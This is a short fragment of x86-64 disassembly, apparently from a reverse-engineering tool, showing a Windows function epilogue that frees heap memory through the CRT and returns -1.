call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x48]
mov eax, 0xffffffff
add rsp, 0x20
pop rdi
ret